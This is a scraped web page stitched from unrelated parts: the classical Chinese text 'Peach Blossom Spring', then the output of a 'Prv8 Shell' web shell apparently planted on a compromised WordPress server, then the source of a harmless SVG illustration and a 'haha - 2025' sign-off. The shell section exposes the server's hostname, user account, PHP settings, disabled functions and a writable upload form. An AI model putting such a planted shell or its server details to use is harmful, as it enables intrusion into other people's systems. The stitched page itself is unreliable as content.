晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/public_html/wp-adminTZh/images/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/public_html/wp-adminTZh/images/contribute-code.svg
<svg width="291" height="290" viewBox="0 0 291 290" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#a)">
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M145.5 288.965c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M129.031 287.393c31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M113.158 282.732c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M98.456 275.154c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M85.453 264.928c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.247 25.63-57.247 57.247 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M74.626 252.425c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M66.35 238.099c31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M60.944 222.464c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M58.584 206.087c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M59.377 189.566c31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.617 25.63 57.247 57.247 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M63.274 173.497c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M70.15 158.441c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M79.742 144.97c31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M91.71 133.554c31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M105.628 124.612c31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M120.985 118.467c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M137.233 115.335c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M153.768 115.335c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M170.016 118.467c31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M185.373 124.612c31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.617 25.63 57.247 57.247 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M199.29 133.554c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M211.258 144.97c31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M220.859 158.441c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M227.727 173.497c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.247 25.63-57.247 57.247 0 31.616 25.631 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M231.624 189.566c31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M232.417 206.087c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M230.065 222.464c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M224.651 238.099c31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M216.382 252.425c31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M205.548 264.928c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M192.545 275.154c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M177.843 282.732c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M161.969 287.393c31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M145.5 288.965c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247 0 31.616 25.63 57.246 57.246 57.246ZM70.149 158.447c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.616 25.63 57.246 57.247 57.246ZM220.859 158.447c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#3858E9" fill-rule="evenodd" d="M212.015 100.276 218.306 94l1.059 1.063-6.291 6.276a.249.249 0 0 0-.001.353l6.294 6.31-1.063 1.059-6.294-6.31a1.75 1.75 0 0 1 .005-2.475Zm21.642 0L227.365 94l-1.059 1.063 6.292 6.276a.25.25 0 0 1 .001.353l-6.295 6.31 1.063 1.059 6.294-6.31a1.75 1.75 0 0 0-.004-2.475ZM147.5 224.5h-11a.5.5 0 0 0-.5.5v16a.5.5 0 0 0 .5.5h11v-17Zm1.5 0h3.5a.5.5 0 0 1 .5.5v16a.5.5 0 0 1-.5.5H149v-17Zm-12.5-1.5h16a2 2 0 0 1 2 2v16a2 2 0 0 1-2 2h-16a2 2 0 0 1-2-2v-16a2 2 0 0 1 2-2Z" clip-rule="evenodd"/>
<path fill="#3858E9" d="M69.5 102.5v10H71v-10h10V101H71V91h-1.5v10h-10v1.5h10Z"/>
</g>
<defs>
<clipPath id="a">
<path fill="#fff" d="M.5 0h290v289.802H.5z"/>
</clipPath>
</defs>
</svg>

haha - 2025